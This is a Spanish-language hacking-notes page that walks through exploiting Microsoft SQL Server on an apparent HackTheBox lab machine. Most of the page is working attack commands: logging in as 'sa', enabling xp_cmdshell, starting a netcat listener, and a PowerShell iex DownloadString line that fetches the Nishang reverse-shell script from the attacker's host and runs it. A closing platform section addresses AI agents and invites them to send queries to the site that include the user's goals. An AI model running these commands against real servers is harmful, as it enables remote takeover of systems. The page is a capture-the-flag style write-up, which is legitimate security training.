> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/ports-and-services/mssql-1433/mssql-exploitation-rce.md).

# MSSQL - Explotación RCE

## Explotación de MSSQL (Microsoft SQL)

**Puerto 1433 (MSSQL)**

El puerto 1433 está abierto, lo que indica que hay un Microsoft SQL Server escuchando. Pruebe el acceso con los usuarios recuperados durante la enumeración.

<figure><img src="/files/4fbd7367a18321aa31caabc9a56c0f36d6775033" alt=""><figcaption></figcaption></figure>

**Prueba de conexión MSSQL**

Utilice `mssqlclient.py` para intentar conectarse:

```powershell
mssqlclient.py sequel.htb/angela@10.10.11.51
mssqlclient.py sequel.htb/oscar@10.10.11.51
mssqlclient.py sequel.htb/kevin@10.10.11.51
```

<figure><img src="/files/d681092d15bb030f33ad4717fd3b84119d9ef4ca" alt=""><figcaption></figcaption></figure>

**Resultado**: Solo el `sa` usuario funciona.

```powershell
mssqlclient.py sequel.htb/sa@10.10.11.51
```

<figure><img src="/files/1f1bd94acab92f37a6b36f015b2e1cc8488fc16f" alt=""><figcaption></figcaption></figure>

### Explotación de reverse shell mediante MSSQL

**Habilitar la ejecución de comandos**

Para ejecutar comandos del sistema, habilite `xp_cmdshell`:

```sql
enable_xp_cmdshell
```

Luego pruebe con un comando simple, como `ipconfig`:

```sql
xp_cmdshell ipconfig
```

<figure><img src="/files/c2353613a078727b1e6400ca78527c5805450ba5" alt=""><figcaption></figcaption></figure>

**Preparación para escuchar en nuestra máquina**

Inicie un listener en el puerto 4444:

```bash
rlwrap nc -nvlp 4444
```

**Descargando un script de PowerShell**

Prepare un script de PowerShell llamado `PS.ps1` que incluya una función de reverse shell:

{% embed url="<https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Shells/Invoke-PowerShellTcp.ps1>" %}

Al final del script, agregue la siguiente línea:

```bash
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.30 -Port 4444
```

Aloje este script en un servidor web local:

```bash
python3 -m http.server 80
```

**Ejecución de reverse shell**

Desde el servidor MSSQL, ejecute el siguiente comando para descargar y ejecutar el script de PowerShell:

```sql
xp_cmdshell powershell -NoP -NonI -Command "iex (New-Object Net.WebClient).DownloadString(''http://10.10.14.30/PS.ps1'')"
```

<figure><img src="/files/58ed28e159e3f3753b230fd7aca8cce0853f779d" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/ports-and-services/mssql-1433/mssql-exploitation-rce.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
